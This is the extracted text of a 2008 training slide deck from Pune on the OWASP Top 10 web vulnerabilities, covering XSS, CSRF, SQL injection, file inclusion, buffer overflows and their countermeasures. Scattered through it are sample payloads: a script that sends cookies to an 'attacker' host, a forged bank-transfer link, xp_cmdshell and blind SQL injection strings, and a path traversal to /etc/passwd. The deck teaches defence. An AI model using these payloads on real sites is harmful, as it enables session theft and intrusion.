Pune, IndiaJanuary 2008

SANS @RISKDecember 2007

3Dec

10Dec

17Dec

24Dec

31Dec

Total

Microsoft Products 2 3 12 0 2 19

Mac 2 2 2 4 0 10

Linux 10 5 8 11 0 34

Unix, Solaris, etc 5 3 3 4 1 16

Network Device 1 3 1 1 1 7

Others ( various ) 31 33 30 37 16 147

Web Applications 70 34 52 35 52 243

“ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software.

Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks.

Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”

U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security

Certification and Accreditation (C&A) Process (DITSCAP)

Payment Card Industry (PCI) standard & some of the leading corporations around

the globe …

Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application.

Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets.

Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service.

Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.

A1 – Cross Site Scripting (XSS) ......................................................................................................................................

A2 – Injection Flaws ......................................................................................................................................

A3 – Malicious File Execution ......................................................................................................................................

A4 – Insecure Direct Object Reference ......................................................................................................................................

A5 – Cross Site Request Forgery (CSRF) ......................................................................................................................................

A6 – Information Leakage and Improper Error Handling ......................................................................................................................................

A7 – Broken Authentication and Session Management ......................................................................................................................................

A8 – Insecure Cryptographic Storage ......................................................................................................................................

A9 – Insecure Communications ......................................................................................................................................

A10 – Failure to Restrict URL Access ......................................................................................................................................

OWASP Top 10 2004

Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space.

It is well known vulnerability

Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.

Common software security flaw

Commonly affect C and C++

Google for buffer overflows.

int main(int argc, void ** argv[]){

char buff[64]; strcpy(buff,argv[1]); return 0;

}

What will happen if we pass 100 character long string as a argument ????

No Boundary Check

Buffer 1

Return address

Other data

--------------

--------------

--------------

--------------

\x90\x90\x90\x90

\x90\x90\x90\x90

\x90\x90\x90\x90

\x90\x90\x90\x90

\x90\x90\x90\x90

Return Address

Filled Buffer with NOP’s and Shellcode

Shellcode

Occurs when too much data is written into the allocated heap area.

Generally allocated by malloc().

Snippest: #define BUFSIZE 256

int main(int argc, char **argv) {

char *buf; buf = (char *)malloc(BUFSIZE); strcpy(buf, argv[1]);

}

It occurs when user supplied input data is processed as a command by an application.

The application doesn’t validate user supplied data.

The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.

Format String parameters : %d, %c, %d, %n, %s etc

When passed these arguments may,-- read values from the stack

-- write values on the stack-- execute arbitrary code

Example: printf (Input Data);

Old EIP over-write method

New techniques are evolved

Structured Exception Handler Over-write

Heap Spray

Heap Feng Shui

Not a part of this presentation

Demo : Heap Spray

Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking.

Always check the bounds of an array before writing it to a buffer.

Validate user supplied data for format string parameters

Use automated tools like fuzzers to test bo’s

Manual code review – Best one, needs good efforts from Reviewer

Follow OWASP guidelines www.owasp.org

Exploit Demo using Heap Spray

The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated.

Very simple and Dangerous attack

Got popular in recent times

Performs GET/POST request of attacker’s choice on behalf of logged in user

Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc

It’s just one-click attack (According to MS)

Malicious request can be embedded in <img>, <href>, <iframe> tags

Website has a trust in user

Browser will automatically parse the request based on user session cookies

Example. Gmail flaw lets anyone to read the friend’s list

<a href="http://googlified.com.googlepages.com/contactlist.htm">

Stored CSRF / Persistent - Example: Simply store it in <img> tag

Reflected / Non – Persistent - Example: Send a malicious link

www.bank.com Victim

Attacker

Logging Request

Auth Cookies

Legitimate Requests

Sends an email containing malicious href tag.

Click Here

Transfer Money

<a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000>

1

2

3

45

6

7

` `

`

User logs into bank.com using user-id and password.

The Bank.com sends cookies to the user if he is valid one for later authentication.

User performs other request like balance enquiry etc.

While user is online, he receives an email saying you have own $1,00,000.

Innocent user clicks on the link without any concern.

The link contains malicious fund transfer request.

The request is sent to the bank.com by the browser treating it is a valid one.

The money gets transferred to the attacker.

Use security tokens or security key for every request URL and form posting

Use POST request instead of GET

Referrer header field check

Manual testing for CSRF

Re-authenticate the user for critical operations

Log off before visiting unknown domains

Use POST request instead of GET Alone it is not sufficient, can be done using XmlHttpRequest using javascript

Referrer header field check Can be spoofed

Best is to use random tokens/keys for every request

ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page

ASP. net property that helps you to prevent CSRF attacks

Set this property to user-id or session id

Wiki Website

XSS allow script to be executed at client side.

Website allows a user to inject arbitrary HTML Code

Exists due to bad input validation

Forces a website to echo attacker’s supplied code

Compromises trust between user and website

May steal cookies, redirect you to another location

Different from CSRF (cross site request forgery)

Very known old bug

Can be used for phishing

Simple XSS :- <script> alert (‘XSS’) </script>

Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script>;

Attack: <a href=http://test.com/test.php?

var=<script>alert(‘XSS’)</script>;></a>

Attack:<script>document.location=“http://attacker/

steal_cookies.php?cookies=“+document.cookie</script>

Reflected XSS / Persistent

Stored XSS / Non – Persistent

DOM Based XSS

Easiest to exploit

Immediate response to HTTP request

Page directly reflect user supplied data back to user

Typically search engine results, error messages

May reach you from email messages

Reflected XSSReflected XSS

BID - 21534BID - 21534

Stores XSS in a database or file

Stored permanently

Very dangerous for blogs, forums

Large number of victim gets affected while accessing stored XSS

Eg. Samy Worm -- MySpace WormJS-Yamanner – Yahoo Worm

Don’t send the malicious data to the server in the first place

Insecure object reference and use of DOM objects that are not fully controlled by the server provided page

Objects: location, URL, referrer etc

Example: document.location + $username

www.bank.comVictim

Attacker

Logging Request

Auth Cookies

Legitimate Requests

Click Here

Stolen Cookies

1

2

3

45

6

7

Sends malicious request <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>

` `

`

Powerful language

Attacker can manipulate the webpage

Can add new elements or change the look of the page

Mostly used in XSS attack

XSS can be carried out using VBScript, Activex, Flash etc

HTML injection plus XSS

Attacker used <embed> tag and Flash

Orkut application failed to parse user supplied data

Affected 7,00,000 accounts in 24 hours

The worm only forces victim to join attacker’s own community.

Attacker can have done even worse !!!

• Application copied all the data after wmode

• The code gets converted into javascript and flash object

• Attacker successfully inserted other script which will run his malicious code

• Orkut has patched this bug

Validate or encode all input parameters

Output Encoding

Output Encoding - Microsoft AntiXSS Library

Filter every parameter of the request including header fields mainly <, >

Check for length, type, syntax…..

Use automated tools for finding XSS – Microsoft XSS Detect

Use NoScript plug-in for firefox

Disable Javascript if possible

Don’t trust on suspicious emails

Don’t visit untrusted websites

Injection FlawsInjection Flaws

SQL Injection The ability to inject SQL commands into the database

engine through an existing application.

How common it is? It is probably the most common Web application

vulnerability. It is a flaw in "web application" development, it is not

a DB or web server problem.◦ Most programmers are still not aware of this problem.◦ A lot of the tutorials & demo “templates” are vulnerable.◦ Even worse, a lot of solutions posted on the Internet are

not good enough.

Almost all SQL databases and programming languages are potentially vulnerable◦ MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS

Access, Sybase, Informix, etc

Accessed through applications developed using:◦ Perl and CGI scripts that access databases ◦ ASP, JSP, PHP◦ XML, XSL and XSQL ◦ Javascript ◦ VB, MFC, and other ODBC-based tools and APIs ◦ DB specific Web-based applications and API’s ◦ Reports and DB Applications ◦ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)◦ many more

Extracting data from Metadata OS Interaction

◦ '; exec master..xp_servicecontrol 'start','FTP Publishing' –

Assessing Network Connectivity◦ '; exec master..xp_cmdshell 'ping MyIP' --

◦ How does an attacker detect SQL Injection vulnerabilities on a web page? SQL Error messages

Breaks the query syntax and looks for error messages. SQL Disclosure

Injects variations of OR 1=1 and looks for Table growth. Union injection approach.

Blind SQL Injection Injects True injection string ‘OR 1=1 and False Injection strings ‘AND

1=0 Compare original response, true response and false response.

SQL Injection Time delay Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note: Time delay SQL clauses are database specific.

◦ SQL Error Messages◦ Try to break syntax of SQL query

Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error

◦ Blind SQL Injection ◦ Determine if a page is vulnerable based on responses to

TRUE/FALSE queries◦ Base query

select * from table where col1 = ‘x’; Store response R0

◦ TRUE query Inject: ‘ OR 1=1; -- Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- Store response R1

◦ FALSE query Inject: ‘ AND 1=0; -- Injected query: select * from table where col1 = ‘x’ AND 1=0; -- Store response R2

◦ If (R0 is identical with R1/R0 is identical with R2) and R1 differs from R2, page is vulnerable to exploitation via Blind SQL injection technique

◦ SQL Injection – Time delay ◦ Determine if a page is vulnerable based on

default response time and delayed◦ response time.

◦ Default response time Obtain the default response time per field by breaking the

query - defaultTimeUsed.◦ Delayed response time

Inject “; waitfor delay ’00:00:15’” in the application query for every field.

Obtain the delayed response time - actualTime.◦ If actualTime > defaultTimeUsed + timeSpread -

500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.)

◦ How to prevent SQL Injection?

◦ Development phase Input validation Parametrized queries

◦ QA phase Source code auditing Hack your own web application

◦ Production phase Web application firewall (Intrusion Detection System)

◦ Sample secure code

◦ Input validation◦ if (<validating_condition>)◦ String sqlQuery = “SELECT * FROM users WHERE

userid = ‘” + username + ‘”;◦ else◦ throw new IllegalArgumentException();

if (<validating_condition>) could be a simple length check, such as:

if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-]

+\.[A-Z]{2,4}\b”) )

◦ Sample secure code

◦ Prepared statement String username = httpRequest.getParameter(“username”);

String query = “SELECT * FROM users WHERE userid = ?”;

PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();

◦ SQL Injection is one of the most dangerous attack in the Web application security world.

◦ An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically.

◦ Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.

OWASP Definition:Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise.

Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.

A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include:

Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software)

Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled

Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file

Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+

Do not allow user input to be used for any part of a file or path name.

Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value.

File uploads have to be done VERY carefully.◦ Only allow uploads to a path outside of the webroot so it

can not be executed◦ Validate the file name provided so that a directory path is

not included.◦ Implement or enable sandbox or chroot controls which

limit the applications access to files.

Insecure Direct Object Insecure Direct Object Reference Reference

OWASP Definition:A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.

Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable.

For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources.

<select name="language"><option value="fr"> Français </option> </select> … require_once ($_REQUEST['language’]."lang.php");

Such code can be attacked using a string like "../../../../etc/passwd%00" using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system

Avoid exposing private object references to users whenever possible, such as primary keys or filenames

Validate any private object references extensively with an "accept known good" approach

Verify authorization to all referenced objects

OWASP Definition:Applications can unintentionally leak information

about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.

Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this:

Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information

Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes

Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.)

Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input.

Provide short error messages to the user while logging detailed error information to an internal log file.Diagnostic information is available to site maintainersVague messages indicating an internal failure provided to

the users Provide just enough information to allow what is reported

by the user to be able to linked the internal error logs. For example: System Time-stamp, client IP address, and URL

Ensure sensitive responses with multiple outcomes return identical results

Save the different responses and diff the html, the http headers & URL.

Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.

OWASP Definition:Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.

HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question:

◦After a user authenticates how does the server associate subsequent requests to the authenticated user?

Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly.

Often developers will make the mistake of inventing their own session tracking.

Cookie Cruncher

Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.

Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as

the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with

other attacks.

Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent

disclosure and hijacking. A URL query string should not be used for Session ID or any

User/Session information◦URL is stored in browser cache ◦Logged via Web proxies and stored in the proxy cache

Example:https://www.example.net/servlet/login?userid=ralph&password=dumb

Password Change Controls - require users to provide both old and new passwords

Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address.

Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case.

Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.

Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form.

Protecting Credentials in Transit - to prevent "man-in-the-middle" attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1

Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates.

Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.

GET www.abc.comlogin.asp

homepage.asp

login.asp

www.abc.com/login.asp

POST username + password

www.abc.com/homepage.asp

homepage.asp

logoff

Client Server

GET www.abc.comlogin.asp

authenticate.asp

login.asp

www.abc.com/login.asp

POST username + password

Redirect : www.abc.com/homepage.asp

Redirect request

logoff

homepage.aspGET www.abc.com/homepage.asp

www.abc.com/homepage.asp

homepage.asp

Client Server

OWASP Definition:

Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.

Preventing cryptographic flaws takes careful planning. The most common problems are:

Not encrypting sensitive data

Using home grown algorithms

Insecure use of strong algorithms

Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…)

Hard coding keys, and storing keys in unprotected stores

Improper/insecure storage of passwords, certifications, and keys

Poor choice of algorithm

Poor source of randomness for initialization vectors

Attempting to develop a new encryption scheme "in house” (Always a BAD idea)

Failure to provide functionality to change encryption keys

1] SQL credentials 2] x = input(); y=f(x);

Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing.

Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better

Generate keys offline and store private keys with extreme care.

Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database

credentials or MQ queue access details are properly secured.

Ensure that encrypted data stored on disk is not easy to decrypt.

OWASP Definition:Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.

Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted.

Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request.

Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.

Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information

Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data

Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.

OWASP Definition:Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.

The primary attack method for this vulnerability is called "forced browsing", which encompasses guessing links and brute force techniques to find unprotected pages.

Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike.

This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. .

Ensure the access control matrix is part of the business, architecture, and design of the application

Ensure that all URLs and business functions are protected by an effective access control mechanism

Perform a penetration test

Pay close attention to include/library files

Do not assume that users will be unaware of special or hidden URLs or APIs.

Block access to all file types that your application should never serve.

Keep up to date with virus protection and patches

OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org )

Microsoft :: Improving Web Application Security : Threats and Countermeasures

(http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en)

SANS @Risk ( www.sans.org )

SPI Dynamics ( http://spidynamics.com/index.html )

FoundStone HacMe resources ( http://www.foundstone.com/us/resources-free-tools.asp )

abhijitapatil@gmail.com sandeepgholve@gmail.com umesh.wanve@gmail.com